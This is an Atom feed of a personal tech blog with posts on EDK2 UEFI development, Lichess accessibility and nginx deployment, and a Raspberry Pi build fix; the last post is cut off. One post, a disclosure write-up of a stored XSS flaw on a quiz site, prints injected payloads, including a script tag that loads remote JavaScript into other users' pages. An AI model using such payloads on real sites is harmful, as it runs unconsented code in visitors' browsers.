You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

856 lines
68 KiB

This file contains invisible Unicode characters!

This file contains invisible Unicode characters that may be processed differently from what appears below. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to reveal hidden characters.

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="http://localhost:4000/feed.xml" rel="self" type="application/atom+xml" /><link href="http://localhost:4000/" rel="alternate" type="text/html" /><updated>2021-05-05T23:21:43-06:00</updated><id>http://localhost:4000/feed.xml</id><entry><title type="html">UEFI Development On x86 With EDK2</title><link href="http://localhost:4000/2021/04/18/uefi-development-environment/" rel="alternate" type="text/html" title="UEFI Development On x86 With EDK2" /><published>2021-04-18T00:00:00-06:00</published><updated>2021-04-18T00:00:00-06:00</updated><id>http://localhost:4000/2021/04/18/uefi-development-environment</id><content type="html" xml:base="http://localhost:4000/2021/04/18/uefi-development-environment/">&lt;p&gt;I made this blog so I could remember how to do stuff that had instructions spread around the internet.
So here is how I setup my environment for developing EFI applications.&lt;/p&gt;
&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;On Artix or other Arch-based distros like Manjaro I installed the following packages: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc nasm iasl&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here is what the packages do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GCC is obviously the GNU Compiler Collection and it allows us to compile C code to machine code.&lt;/li&gt;
&lt;li&gt;NASM stands for Netwide Assembler. It is an assembler and disassembler for 32 and 64 bit Intel x86 platforms.&lt;/li&gt;
&lt;li&gt;IASL stands for the ACPI Source Language Compiler/Decompiler. This will compile any ACPI calls to our local machines code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We need all these packages to start our (U)EFI journey.
Now that these are installed, lets setup our environment.&lt;/p&gt;
&lt;h2 id=&quot;building-edk2&quot;&gt;Building EDK2&lt;/h2&gt;
&lt;p&gt;I used the stable/202011 branch as that is latest stable version of the EDK2 project.&lt;/p&gt;
&lt;p&gt;So first lets pull the project:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone https://github.com/tianocore/edk2.git&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, lets fetch the tags and switch to the latest stable version:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd edk2
git fetch
git checkout stable/202011
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Perfect! Were on stable now! Lets grab all our submodules: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule update --init&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will take a bit the first time you do it. But no fear, once thats done, we can finally build the base tools.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;make -C BaseTools
export EDK_TOOLS_PATH=$HOME/Documents/edk2/BaseTools
. edksetup.sh BaseTools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Notice we source a file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; before continuing. This is needed to load some tools and options into our shell for later. The environment variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EDK_TOOLS_PATH&lt;/code&gt; is set so that EDK knows where to find itself later. Now that everything is loaded up, we can modify a config file located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Conf/target.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The most important options are these, feel free to append them to the end of the file; there is no default value for them.&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
ACTIVE_PLATFORM = MdeModulePkg/MdeModulePkg.dsc
TOOL_CHAIN_TAG = GCC5
# for 64-bit development
TARGET_ARCH = X64
# for 32-bit development
TARGET_ARCH = IA32
# for 32 and 64-bit development
TARGET_ARCH = IA32 X64
# set multithreading to 1 + (2 x # of cores)
MAX_CONCURRENT_THREAD_NUMBER = 9
&lt;/pre&gt;
&lt;p&gt;There are other options, but I dont know about them much, so Im just sticking with this for now.&lt;/p&gt;
&lt;p&gt;Finally, after all this work, we can build some .efi files. Lets compile the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Helloworld.efi&lt;/code&gt; file!
Simply run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build&lt;/code&gt; command in the terminal.
You can find your compiled EFI files by running this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; command:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ls Build/MdeModule/DEBUG_*/*/HelloWorld.efi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This will show all HelloWorld.efi files for all architectures and toolchains (if you decide to change them).&lt;/p&gt;
&lt;h2 id=&quot;running-in-uefi-shell&quot;&gt;Running In UEFI Shell&lt;/h2&gt;
&lt;p&gt;Once all this is complete, you will want to run your EFI files.
To do so, lets first add an EFI shell to use at boot.
This will appear as an option in your bootloader, like GRUB, which is what I will show documentation for in this article.&lt;/p&gt;
&lt;p&gt;So, first thing is first,
&lt;a href=&quot;https://github.com/tianocore/edk2/blob/UDK2018/ShellBinPkg/UefiShell/X64/Shell.efi?raw=true&quot;&gt;download and EFI shell file&lt;/a&gt;.
Second, move it to a partition (FAT formatted) which can be used for the UEFI.
On my Linux system, this is /boot. On others there may be no FAT filesystem so attach a USB and format it as FAT.
Third, add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EFI Shell&lt;/code&gt; option to your grub boot file.
Substitute hdX with the right hard drive (I did it with trial and error) as when it doesnt work I would hit e on grub and add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; GRUB command.
Substitute the gptX with the correct partition, or msdosX if it is a DOS formatted partition table.
My &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shell.efi&lt;/code&gt; was placed in /boot/EFI/.&lt;/p&gt;
&lt;p&gt;&lt;label&gt;/etc/grub.d/40_custom&lt;/label&gt;&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
menuentry &quot;EFI Shell&quot; {
insmod part_gpt
insmod chain
insmod fat
set root='(hd4,gpt2)'
chainloader /EFI/Shell.efi
}
&lt;/pre&gt;
&lt;p&gt;Now regenerate your grub configuration file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grub-update&lt;/code&gt; (Debian-based) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grub-mkconfig -o /boot/grub/grub.cfg&lt;/code&gt; (Other).&lt;/p&gt;
&lt;p&gt;Youll know if your shell is working if you see the following text on boot into the EFI shell:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
UEFI Interactive Shell v2.1
EDK II
UEFI v2.4 (EDI II, 0x000100000)
Mapping table:
...
Shell&amp;gt;
&lt;/pre&gt;
&lt;h2 id=&quot;running-hello-world&quot;&gt;Running Hello World&lt;/h2&gt;
&lt;p&gt;When we run our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; command from earlier, remember we saw our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HelloWorld.efi&lt;/code&gt; file.
Lets move this file somewhere useful, like for me, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/boot&lt;/code&gt;.
Then, once were in our UEFI shell we can run commands:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
Shell&amp;gt; .\HelloWorld.efi
UEFI Hello World!
Shell&amp;gt;
&lt;/pre&gt;
&lt;p&gt;And that… All that is how you set up a UEFI development environment.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This took me a long time to figure out.
I needed to scrounge resources from around the internet,
and I had to look at my config files for hours to make sure that I hadnt missed a step that I did without thinking.
I hope this will be useful to you and my future self.&lt;/p&gt;
&lt;p&gt;Happy UEFI hacking :)&lt;/p&gt;</content><author><name></name></author><summary type="html">I made this blog so I could remember how to do stuff that had instructions spread around the internet. So here is how I setup my environment for developing EFI applications.</summary></entry><entry><title type="html">The “Quiz Your Friends” XSS Exploit</title><link href="http://localhost:4000/2021/04/04/quiz-your-friends-xss/" rel="alternate" type="text/html" title="The “Quiz Your Friends” XSS Exploit" /><published>2021-04-04T00:00:00-06:00</published><updated>2021-04-04T00:00:00-06:00</updated><id>http://localhost:4000/2021/04/04/quiz-your-friends-xss</id><content type="html" xml:base="http://localhost:4000/2021/04/04/quiz-your-friends-xss/">&lt;p&gt;Note: I have alerted the administrators of this site multiple times about this vulnerability.
One email was sent many years ago, which is more than enough time for &lt;a href=&quot;https://en.wikipedia.org/wiki/Responsible_disclosure&quot;&gt;responsible disclosure&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update: They have fixed the vulnerability as of the day of release for this article.&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;
&lt;p&gt;In early 2014, when my “programming” skills consisted of editing web pages with inspect element, I was sent a link from an old friend in a town about 3 hours away.
This was a link to a quiz about them.
I had to answer as many questions right as I could about them and I got a score at the end based on my answers.
It seemed fun enough, so I went for it.
In the following weeks this quiz website became quite a trend amongst my friend group as we all started making quizes to see how well we all knew eachother.&lt;/p&gt;
&lt;p&gt;A few weeks into this trend, I was staying at a friends place and told him about this site,
so he goes and creates his own quiz and sends it to all his friends, group chats, Google Plus groups, et cetera.&lt;/p&gt;
&lt;h2 id=&quot;hackerman&quot;&gt;Hackerman&lt;/h2&gt;
&lt;p&gt;While filling in my friends survey I thought it would be
funny for them to know it is me without anyone else knowing.
We were young and had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Inspect Element&lt;/code&gt;ed a few things together,
so it was a safe bet that an HTML joke would let them know.&lt;/p&gt;
&lt;p&gt;I decided to write my name like so: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;b&amp;gt;Steve&amp;lt;/b&amp;gt;&lt;/code&gt;.
Steve is in reference to the &lt;a href=&quot;https://minecraft.gamepedia.com/Player&quot;&gt;main character&lt;/a&gt; in the video game Minecraft.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&quot;/assets/img/qyf-xss/2-bold.png&quot; /&gt;
&lt;figcaption&gt;
&lt;p&gt;Me typing in my name as &lt;span class=&quot;mono&quot;&gt;&amp;lt;b&amp;gt;Steve&amp;lt;/b&amp;gt;&lt;/span&gt;.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now in theory this should have shown in in the leaderboard as: “&amp;lt;b&amp;gt;Steve&amp;lt;/b&amp;gt;”
However, to my horror and excitement, I saw this in the leaderboard:&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&quot;/assets/img/qyf-xss/3-steve-board.png&quot; /&gt;
&lt;figcaption&gt;
&lt;p&gt;&lt;span class=&quot;mono&quot;&gt;&amp;lt;b&amp;gt;Steve&amp;lt;/b&amp;gt;&lt;/span&gt; displaying in the leaderboard as bold text: &lt;b&gt;Steve&lt;/b&gt;&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The text “Steve” showed up &lt;strong&gt;in bold&lt;/strong&gt; on the leaderboard.
This told me all I needed to know.
How did this happen? You might wonder.&lt;/p&gt;
&lt;h3 id=&quot;server-side-validation&quot;&gt;Server-Side Validation&lt;/h3&gt;
&lt;p&gt;Here is a great demonstration why you should do most of your validation on the server side.
As a user, I can edit any of the HTML, CSS, or Javascript your server serves to me.&lt;/p&gt;
&lt;p&gt;Quiz your friends uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maxlength=20&lt;/code&gt; HTML attribute on the name input field.
Imagine trying to fit in a script tag doing anything useful with 20 characters! Dont forget that includes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag.
That would leave 13 characters for Javascript.
Although Im sure a genius would be able to &lt;a href=&quot;https://code.golf/&quot;&gt;code golf&lt;/a&gt; that, I know I couldnt.&lt;/p&gt;
&lt;p&gt;Now obviously I can edit any HTML that a server has sent to me.
If I open up my inspect element window, I can go ahead and change that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maxlength&lt;/code&gt; attribute to anything I want.
Lets change it to 100!&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&quot;/assets/img/qyf-xss/5-maxlength.png&quot; alt=&quot;An image of the Quiz Your Friends name input field with inspect element. THe code reads: &amp;lt;font class=&amp;quot;style6&amp;quot;&amp;gt;&amp;lt;input class=&amp;quot;inputbutton&amp;quot; name=&amp;quot;takername&amp;quot; type=&amp;quot;text&amp;quot; id=&amp;quot;takername&amp;quot; maxlength=&amp;quot;20&amp;quot; width=&amp;quot;425&amp;quot; placeholder=&amp;quot;Your First Name&amp;quot; style=&amp;quot;text-align: center; text-decoration:inherit; font-size:38px;&amp;quot; tabindex=&amp;quot;-1&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&quot; /&gt;
&lt;figcaption&gt;
Manually changing the maxlength attribute.
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In theory, there is a way that a site can stop people from just putting in their name of any length: server-side validation.
The server &lt;em&gt;could&lt;/em&gt; check to see if the input is too long and reject it if it is.
The Quiz My Friends server has &lt;em&gt;no such checks in place&lt;/em&gt;.
Therefore, I can send an almost arbitrary load to them.
Being able to send something potentially very large (more than a few megabytes) is a vulnerability of its own.
Imagine being able to send entire executable programs as your “name” in one of these quizzes?&lt;/p&gt;
&lt;h2 id=&quot;javascript&quot;&gt;Javascript&lt;/h2&gt;
&lt;p&gt;So I went on my merry way thinking about ways to use malicious javascript.
Then, I thought that might be mean, so I decided to warn users instead.
I filled in the name with a script tag and a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert()&lt;/code&gt; to warn the user about this site.
I edited the max-length attribute to allow me to type a long string like this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&quot;Don't use this site. It is not secure!&quot;);&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Sure enough, I got a text from my friend saying: “Tait! I know this is you, why would you do that!”
A bit salty, but who wouldnt be.&lt;/p&gt;
&lt;h2 id=&quot;cross-site-scripting-xss&quot;&gt;Cross-Site Scripting (XSS)&lt;/h2&gt;
&lt;p&gt;As my final act, I decided to use a cross-site script that I could edit and have it load with new changes at any time.&lt;/p&gt;
&lt;p&gt;I set this as my name:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;https://tait.tech/assets/js/hacked.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This script pops up a warning, telling the user that the site is insecure and it is now redirecting to an article about the attack.
This script redirects to an &lt;a href=&quot;https://tait.tech/2020/04/25/xss/&quot;&gt;older post I made&lt;/a&gt; about how XSS works.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Watch out for sketchy websites that may be vulnerable to malicious or insecure sites which are ripe for abuse.
Always check that you are using an encrypted connection, HTTPS.
And if you see any messages warning you that a site is not secure and redirecting you to some random site…
Take their info with a grain of salt.&lt;/p&gt;
&lt;p&gt;Happy Hacking, literally :)&lt;/p&gt;</content><author><name></name></author><summary type="html">Note: I have alerted the administrators of this site multiple times about this vulnerability. One email was sent many years ago, which is more than enough time for responsible disclosure.</summary></entry><entry><title type="html">Lichess Accessibility</title><link href="http://localhost:4000/2021/01/31/lichess/" rel="alternate" type="text/html" title="Lichess Accessibility" /><published>2021-01-31T00:00:00-07:00</published><updated>2021-01-31T00:00:00-07:00</updated><id>http://localhost:4000/2021/01/31/lichess</id><content type="html" xml:base="http://localhost:4000/2021/01/31/lichess/">&lt;p&gt;I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself;
some sites, like QuintenCs Playroom have a rather poor visual interface for anyone who would like the play the game visually.
&lt;a href=&quot;https://lichess.org&quot;&gt;Lichess&lt;/a&gt; is an free and open-source website for chess players;
it bridges this gap by having two “modes” on the site:
standard mode and accessibility mode.&lt;/p&gt;
&lt;h2 id=&quot;accessibility-mode&quot;&gt;Accessibility Mode&lt;/h2&gt;
&lt;p&gt;Accessibility mode is far from perfect on lichess.org.
That said, the idea to separate the sites into different modes was a good call.
It stops the inevitable “this would work well for screen readers but cause visual issues” shenanigans,
or, vice-verse “this looks great but it might be weird with a screen reader”.
This way all the things which affect the visual interface are in one place,
and all things which affect the non-visual user interface (NVUI) are written in another.&lt;/p&gt;
&lt;p&gt;In my quest to play chess with visual and non-visual players with both having optimal experiences, I tried Lichess with my friend from &lt;a href=&quot;https://melly.tech/&quot;&gt;melly.tech&lt;/a&gt;.
She pointed out that the method to interface with the board previously was rather poor.
This is because it required an “enter” at the end of each command and the commands tended to read out a row or column of a chessboard not just an individual square.&lt;/p&gt;
&lt;p&gt;For example, to list all pieces (or lack thereof) on the e file, I would type the command:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;s e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Although this seems good in theory, and its great when you need an entire file, there was no way to get only one square.
In addition, imagine typing to navigate around the board:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;s e1
s f1
s e2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For the inexperienced player, it seems to be more convenient to bind some keys and have the user bounce to various buttons, which they can push to say “I want to move this piece”.
This is what I was told anyway.
So I want to work making a system so you could use the following basic keys:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;left/right/up/down arrow: move on the board.&lt;/li&gt;
&lt;li&gt;k/q/r/b/n/p: move to next piece represented by its character in chess notation.&lt;/li&gt;
&lt;li&gt;shift + k/q/r/b/n/p: move back to the last piece represented by its character in chess notation.&lt;/li&gt;
&lt;li&gt;click/enter/space: select piece to move.&lt;/li&gt;
&lt;li&gt;click/enter/space again: move piece here.&lt;/li&gt;
&lt;li&gt;m: show where I can move with this piece.&lt;/li&gt;
&lt;li&gt;shift+m: show where I can capture with this piece.&lt;/li&gt;
&lt;li&gt;1-8: move to rank 1-8; stay on same file.&lt;/li&gt;
&lt;li&gt;shift + 1-8: move to file a-h; stay on same rank.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gives a pretty solid basis for playing the game.
One caveat is after you have moved a pawn all the way to the farthest rank, only the destination tile will accept your promotion choice.
Therefore, all the other keys still work on other square, but if you are on the destination square of a promotion q/r/b/n will promote your piece, not jump you to the next/previous one.&lt;/p&gt;
&lt;p&gt;This pull request was merged earlier this month:&lt;/p&gt;
&lt;h2 id=&quot;more-to-come&quot;&gt;More To Come&lt;/h2&gt;
&lt;p&gt;Next thing I want to do is implement the analysis board.
Right now it is not accessible whatsoever.&lt;/p&gt;
&lt;h2 id=&quot;help-me&quot;&gt;Help Me&lt;/h2&gt;
&lt;p&gt;If you are a screen reader user or know about accessibility and want to help make Lichess an awesome chess site for sighted and unsighted players alike,
then send me an email at &lt;a href=&quot;mailto:tait@tait.tech&quot;&gt;tait@tait.tech&lt;/a&gt; and Ill BCC you once I start testing the analysis board.&lt;/p&gt;
&lt;p&gt;Happy hacking, yall!&lt;/p&gt;</content><author><name></name></author><summary type="html">I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself; some sites, like QuintenCs Playroom have a rather poor visual interface for anyone who would like the play the game visually. Lichess is an free and open-source website for chess players; it bridges this gap by having two “modes” on the site: standard mode and accessibility mode.</summary></entry><entry><title type="html">How to Deploy Lichesss Lila With Nginx</title><link href="http://localhost:4000/2020/12/20/deploy-lichess/" rel="alternate" type="text/html" title="How to Deploy Lichesss Lila With Nginx" /><published>2020-12-20T00:00:00-07:00</published><updated>2020-12-20T00:00:00-07:00</updated><id>http://localhost:4000/2020/12/20/deploy-lichess</id><content type="html" xml:base="http://localhost:4000/2020/12/20/deploy-lichess/">&lt;p&gt;I was getting ready to have a public test of some changes I made to &lt;a href=&quot;https://lichess.org&quot;&gt;lichess.org&lt;/a&gt;s &lt;a href=&quot;https://lichess.org/source&quot;&gt;open source chess platform&lt;/a&gt;.
In preperation, I got my Lets Encrypt certificates and nginx configurations setup…
and it wouldnt work.
Here are some tips for myself and future Lichess developers.&lt;/p&gt;
&lt;h2 id=&quot;reasoning&quot;&gt;Reasoning&lt;/h2&gt;
&lt;p&gt;My pull request involves accessibility.
It will extend Lichesss NVUI (Non-Visual User Interface) to be more accessible to beginner level chess players.
At the time of writing this, Lichesss NVUI only supports searching pieces by type, rank and file.
It does not support any kind of interactive board.&lt;/p&gt;
&lt;p&gt;I wanted to play chess with a friend of mine who uses a screen reader.
Even though Lichess does indeed have a separate rendering of the page for visually impaired users,
I have heard from a few people that it is not the best.&lt;/p&gt;
&lt;p&gt;I dont use a screen reader myself, so I thought having a public latest changes deployed server would work better for testing.
It would certainly work better than getting some of my less computer literate friends to connect to me via VSCode/VPN and view my local repository.&lt;/p&gt;
&lt;p&gt;So here is how to deploy it:&lt;/p&gt;
&lt;h2 id=&quot;setup-a-development-environment&quot;&gt;Setup a development environment&lt;/h2&gt;
&lt;p&gt;This is described &lt;a href=&quot;https://github.com/ornicar/lila/wiki/Lichess-Development-Onboarding&quot;&gt;in Lichesss documentation itself&lt;/a&gt;.
I will not elaborate further as it is not necessary.&lt;/p&gt;
&lt;h2 id=&quot;setup-nginx&quot;&gt;Setup nginx&lt;/h2&gt;
&lt;p&gt;This is the part that stumps most people.
Getting a local development server usually works alright, but once you want to reverse proxy it for security and professionalism purposes, it get more interesting.&lt;/p&gt;
&lt;p&gt;Here is the relevant portion of my nginx configuration for lila:&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
server_name chess.tait.tech;
location / {
proxy_pass http://127.0.0.1:9663;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-NginX-Proxy true;
proxy_set_header X-Real-IP $remote_addr;
}
&lt;/pre&gt;
&lt;p&gt;This is the config for the lila-ws websocket subdomain:&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
server_name ws.chess.tait.tech;
location / {
proxy_pass http://127.0.0.1:9664;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection &quot;upgrade&quot;;
}
&lt;/pre&gt;
&lt;p&gt;You will need to deploy these on two virtual hosts.&lt;/p&gt;
&lt;h2 id=&quot;lila&quot;&gt;Lila&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ornicar/lila/&quot;&gt;Lila&lt;/a&gt; is the name for the main chess server, we need to change a few settings. Here is my git diff for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conf/base.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
- domain = &quot;localhost:9663&quot;
- socket.domains = [ &quot;localhost:9664&quot; ]
+ domain = &quot;chess.tait.tech&quot;
+ socket.domains = [ &quot;ws.chess.tait.tech&quot; ]
asset.domain = ${net.domain}
- asset.base_url = &quot;http://&quot;${net.asset.domain}
+ asset.base_url = &quot;https://&quot;${net.asset.domain}
asset.minified = false
- base_url = &quot;http://&quot;${net.domain}
+ base_url = &quot;https://&quot;${net.domain}
&lt;/pre&gt;
&lt;h3 id=&quot;lila-ws&quot;&gt;Lila-ws&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ornicar/lila-ws/&quot;&gt;Lila-ws&lt;/a&gt; is the websocket component of Lila.&lt;/p&gt;
&lt;p&gt;The most common complaint amongst aspiring Lichess developers is websockets not working.
They constantly get these 101 responses from the websocket,
and it also seems that the websocket returns instead of staying in the pending state as it should be.&lt;/p&gt;
&lt;p&gt;Here is how to fix that (in diff format):&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
-csrf.origin = &quot;http://127.0.0.1:9000&quot;
+csrf.origin = &quot;https://chess.tait.tech&quot;
&lt;/pre&gt;
&lt;p&gt;You need to tell lila-ws where the websocket requests will be coming from. This is how to do that.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This is not a long article, but just some notes for future me and Lila developers.&lt;/p&gt;</content><author><name></name></author><summary type="html">I was getting ready to have a public test of some changes I made to lichess.orgs open source chess platform. In preperation, I got my Lets Encrypt certificates and nginx configurations setup… and it wouldnt work. Here are some tips for myself and future Lichess developers.</summary></entry><entry><title type="html">Getting Pacaur Working on a Raspberry Pi 4 with Manjaro ARM or Arch Linux</title><link href="http://localhost:4000/2020/12/01/pacaur-rpi/" rel="alternate" type="text/html" title="Getting Pacaur Working on a Raspberry Pi 4 with Manjaro ARM or Arch Linux" /><published>2020-12-01T00:00:00-07:00</published><updated>2020-12-01T00:00:00-07:00</updated><id>http://localhost:4000/2020/12/01/pacaur-rpi</id><content type="html" xml:base="http://localhost:4000/2020/12/01/pacaur-rpi/">&lt;p&gt;I recently installed Manjaro ARM (based on Arch Linux ARM) on a Raspberry Pi 4.
I used some standard commands to start to add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pacaur&lt;/code&gt; package so I can easily retrieve &lt;a href=&quot;https://wiki.archlinux.org/index.php/Arch_User_Repository&quot;&gt;AUR packages&lt;/a&gt; without needing to do it manually.
Unfortunately, there is a small problem with compiling this on ARM.&lt;/p&gt;
&lt;h2 id=&quot;always_inline&quot;&gt;always_inline&lt;/h2&gt;
&lt;p&gt;To setup the install for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pacaur&lt;/code&gt;, I first needed to download &lt;a href=&quot;https://aur.archlinux.org/packages/auracle-git&quot;&gt;auracle-git&lt;/a&gt; AUR package manually.
I ran into an error when compiling this package.&lt;/p&gt;
&lt;p&gt;But first, my setup:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
$ git clone https://aur.archlinux.org/auracle-git
$ cd auracle-git
$ makepkg -sri
&lt;/pre&gt;
&lt;p&gt;Around half way through compiling this project, I got this cryptic message telling me there was a “target specific option mismatch”…Whatever that means.
The full error is below, hopefully that helps my chances on the search engines.&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
In file included from ../subprojects/abseil-cpp-20200225.2/absl/random/internal/randen_hwaes.cc:225:
/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h: In function 'Vector128 {anonymous}::AesRound(const Vector128&amp;amp;, const Vector128&amp;amp;)':
/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h:12452:1: error: inlining failed in call to always_inline 'uint8x16_t vaesmcq_u8(uint8x16_t)': target specific option mismatch
12452 | vaesmcq_u8 (uint8x16_t data)
&lt;/pre&gt;
&lt;p&gt;Luckily, there is a very easy fix for this.
The user redfish &lt;a href=&quot;https://aur.archlinux.org/packages/auracle-git#comment-762117&quot;&gt;helpfully pointed out&lt;/a&gt;
on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auracle-git&lt;/code&gt; package page that you need to add a special make option to your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/make.conf&lt;/code&gt; file to make this work.&lt;/p&gt;
&lt;p&gt;His solution, as commented is like so:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you get this error when building for ARM aarch64:&lt;/p&gt;
&lt;p&gt;(insert error message from before)&lt;/p&gt;
&lt;p&gt;Then check that in /etc/makepkg.conf CFLAGS and CXXFLAGS have the +crypto suffix in -march flag, like -march=armv8-a+crypto (the base identifier may very depending on your hardware)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically, there is a file on Linux: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/makepkg.conf&lt;/code&gt; which tells your computer how to compile &lt;em&gt;all&lt;/em&gt; programs on the system.
By default the Manjaro ARM (RPi4) edition has the following relevant lines in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makepkg.conf&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
CFLAGS=&quot;-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt&quot;
